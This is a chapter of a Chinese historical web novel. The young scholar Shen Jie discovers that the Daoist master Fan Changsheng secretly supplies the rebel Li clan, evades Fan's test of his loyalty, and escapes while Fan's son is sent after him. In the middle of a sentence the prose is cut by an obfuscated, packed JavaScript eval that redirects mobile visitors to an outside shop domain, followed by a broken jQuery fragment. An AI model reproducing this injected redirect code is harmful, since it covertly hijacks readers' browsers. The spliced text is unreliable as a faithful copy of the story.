42. 庐山真面(下)
    “……这一段,学生改好了,仙师……”沈介的话音戛然而止。

    只见范长生不知什么时候,竟靠在凭几上睡了过去。

    这样的事情时常发生,沈介也不以为意,毕竟老神仙再是神仙,那也是上了年纪的神仙。

    沈介并不打扰,也不好退下去,便只好静静地在一边整理案上的文牍。

    他自己用的小案倒是整整齐齐,唯独范长生面前的几案有些乱糟糟的,各种书卷都堆在上面。

    就在沈介将一卷摊开的书简收起来的时候,下面的一张绢帛露了出来。

    绢帛上有几行字,大约是一封信。

    沈介并不是一个会偷看别人书信的人,然而他向来一目十行,便是这么一晃眼,却已经将信的内容看了个大概。

    沈介一看之下,却是大惊失色,一把将那绢帛抓在了手上——

    信上不过寥寥数语,大概便是感谢老神仙慷慨相助,陇上流民感激涕零一类。

    落款是李流。

    ——正是眼下益州最大的反贼头子李特的四弟。

    沈介浑身一震,范长生竟暗中用粮食资助反贼!

    就在沈介惊疑不定的时候,他的耳边忽响起范长生的声音。

    “小涧松可是觉得,我此举非是清修之人所为?”

    沈介一惊,下意识地看向范长生。

    不知何时,范长生已经睁开了眼睛,正笑眯眯地把沈介望着,那一双苍老的眼中,却并无半点睡意。

    老神仙还是那个老神仙,笑容可掬,慈祥可亲,可不知是不是沈介的心理作用,那一直以来笼罩在老神仙身上的飘飘仙气,竟都消弭无踪了。

    如果非要说的话,范长生那炯炯的眸光中,分明写着欲望二字。

    一时间,沈介觉得自己何其幼稚,他单以为,上了山,入了道,便是同红尘俗世划清了界限,却原来,这世道根本就没有可以避世之处。

    他花了那么多心思建立的,所谓最安全的堡垒,原来早已不再安全了。

    “天下汹汹,民不聊生,”范长生从沈介手中取过那张绢帛,瞥了一眼,又将眸光落在沈介身上,“若涧松是我,当会如何抉择?”

    沈介一句“自然是忧国奉公,为社稷死节”就要脱口而出,却是猛然想起,眼前这老神仙活了一百多了,历经汉末、曹魏、晋三朝,你跟他讲忠君爱国,你让人忠哪一个君呢?

    就他知道的,蜀汉连着两代君主都想要请这位出山;他父亲沈雍也曾有过征辟之意,人家都没答应。

    当年他以为这是范长生醉心修道,如今看来这只怕是世人的误会。

    可他既有心入世,为何放着汉晋不选,反而选了一个反贼呢?

    李氏到底有什么优势,竟能令到范长生不知老之将至?

    不,这个问题应该是,李氏有什么劣势。

    沈介的思路忽然就清晰了——

    李氏是巴氐賨人,不光是外来者,甚至是要算作异族的。

    他现在的确算是兵强马壮,可一个没有根基的外来者,要想在益州站稳脚跟,就必须跟益州的本土势力合作。

    而对于范氏来讲,他暗中扶持李氏,即便将来李氏当真占了益州,只要他范长生还是天师道的领袖,益州耆老的代表,李氏便不足为虑。

    试想,当年刘璋两代经营益州,刘禅亦是父子相继,可当益州士族打算把他们论斤卖的时候,他们又能如何呢?

    更何况,李氏自来了益州,便劫掠不断,饶是现在李特想要重新塑造自己的形象,禁止军队滋扰百姓,可是为时已晚,李氏陇上寇的名声早就烂透了。

    一支不得民心的军队,一支需要仰仗范长生养活的军队……范长生握着这样一个资源,所图便一望而知了。

    沈介的一颗心沉了下来,陡然间,却又有一个念头从他的脑海中跳了出来——

    今天怎么就这么巧,论经的时候,范长生睡过去了,自己一翻到书信,他就醒了?

    范长生根本就是在等着自己翻到书信!

    他这是在试探自己的态度吗?

    暗通反贼,这是杀头夷族的重罪。

    如果自己同他不是一条心……

    寒意从脚底蹿了上来,炭火烧得旺旺的静室中,沈介却觉得自己仿佛置身冰天雪地当中。

    他想了这么多弯弯绕绕的,实际也不过眨眼的功夫而已。

    当下沈介回过神来,慎而重之地放下绢帛,朝着范长生一礼,“介年纪尚小,这些事情也不大想得明白。”

    可惜这位天师道首领不肯容他糊弄,当下范长生捋了捋胡子,非要追根究底,“涧松年纪虽小,见识却已不凡,如何能没有想法?今日就你我二人在此,涧松无须顾虑。有什么想法,但说无妨。”

    沈介便直起身来,“成都城破那日,学生是亲眼见过兵戈的。那场景,同地狱无异。学生实不愿再见那样的场景。”

    他那张好看的脸,变得苍白起来,就像是当真回忆起了多可怕的事情似的,“如果可以选,学生愿意终老清城,日日只研读黄老经典,山下如何争斗,学生不愿过问。”

    “小涧松到底是看不开,你有济世之才,又何必画地为牢,将春秋虚耗在山上呢?”范长生显然对沈介的表态不是很满意。

    沈介不再说什么,只是深深地伏了下去。

    于是,范长生便只好长长地叹息一声,“也罢,人各有志,小涧松能陪我读读书,论论道,也是好的。”

    沈介又朝着范长生行了一礼,起身的时候,悄悄蹭了蹭手心的汗,知道这一关算是过了。

    *

    小道童是哭着离开自己家的。

    她到底还是来晚了一步,她的家里一个人也没有了,所有的家私财物也都不见了踪影。

    她找遍了整个家里,也没有找到亲人留下的,任何关于去向的蛛丝马迹。

    不光是他们家搬空了,就连她认识的左邻右舍也都只剩下了空屋子。

    她甚至不知道,她的亲人到底是被乱军杀害了,掳走了,亦或者只是逃难去了。

    小道童也不过是个十二三的小娃娃,忽然遭此大变,她一时也不知道该如何是好,只好在城中乱走。

    哭声就从空无一人的坊巷中传了出去,跟着她走过了一条又一条的空巷。

    当她看到几个衣衫褴褛的老翁缩在一个粥棚下面,正吸溜着一碗热气腾腾的粥时,她早就哭得累了,腹中也响起了叽叽咕

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13158521|138622||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    咕的声音。

    小道童咽了口唾沫,就被自己不听使唤的双脚带到了粥棚下。

    她摸出来一把五铢钱,望向掌勺的郎君,那郎君长得实在太高大了,比她见过的最高大的汉子都还要高大,在她的面前,投下了一大片阴影。

    小道童害怕地耸了耸肩,却在瞟了一眼热粥后,又鼓起勇气把五铢钱举到了对方面前,问道:“我……我能买一碗吗?”

    舍粥的郎君打量了小道童一眼,见对方穿得又体面又干净,并不像个正儿八经的饥民。

    往常这样的人,都会被当做吃白食的闲汉,给直接轰走。可眼前这个,分明只是一个饿极了的小女孩而已。

    于是,阿哈嗼只是用勺子指指旁边的牌子,“见过这个郎君吗?”

    小道童有些莫名地转头望去,却在认出画像的一瞬,失声叫了出来。

    “沈师兄?!”

    *

    “父亲,那沈涧松如何说?肯不肯跟咱们一起举事?”范贲见沈介走了,便钻入静室来找范长生。

    范长生瞥了儿子一眼,将沈介的意思说了。

    “以父亲看,他果然是如此想的?亦或者只是托词?”范贲恭恭敬敬地坐在范长生下首。

    “他自幼读书,所学的一切,皆是为了有朝一日能匡济天下,”范长生目光悠悠,越过范贲投向不远处的炭火,“他不可能在山上找到他的道。”

    “父亲的意思是,他是在糊弄咱们?”

    范长生摆首,“到底还只是个孩子而已,乍逢覆巢之祸,一时想不明白,也是有的。且再给他一点时间吧。”

    “只要他还有半点仕途心,咱们就不怕他起别的想头,”范贲想得很认真,“便是他还想念着什么忠君爱国,他一个阉人,那大晋朝廷也不可能再容他做官了,难不成他想去宫里做个宦官不成?也就是咱们这儿,是他的出路。”

    范长生瞪了儿子一眼,“什么阉人不阉人的话,不要当着他的面讲。”

    “儿子知道,父亲早就说过,这个沈涧松有大才,让我好好照看,我一直挺照顾他的。我那浑家,更是拿他当亲儿孙看。父亲放心,我们夫妇早就将他拿捏得死死的。”范贲有些得意。

    范长生看了看自己的傻儿子,忽然就有些糟心,为什么自己就生不出沈介那样聪明伶俐的孩子呢。

    然而那个聪明伶俐的,翌日却并没有如往常一样,恭顺地过来侍奉仙师。

    范长生觉出不对,立刻叫人去找,然而整个长生观,里里外外翻遍了,竟是丝毫没找到沈介的踪影。

    “父亲,沈介逃了!他跟我们不是一条心!”范贲奔进静室的时候,几乎面如土色,“他怎么出得去的?”

    话音刚落,范贲便自己想到了答案,整个清城山的岗哨,本就是沈介安排的。他要避过这些耳目,悄悄下山,简直易如反掌!

    “小儿辈竟敢诓我!”范长生沉下脸来,那慈眉善目的样子不知何时已经消失得无影无踪,“叫人带上部曲去追!”

    范贲立刻便要出去,行到门口却又扭头朝范长生看来,“可若是他不愿回来……”

    范长生没有说话,可是范贲却读懂了他的眼色。

    “儿子知道了。”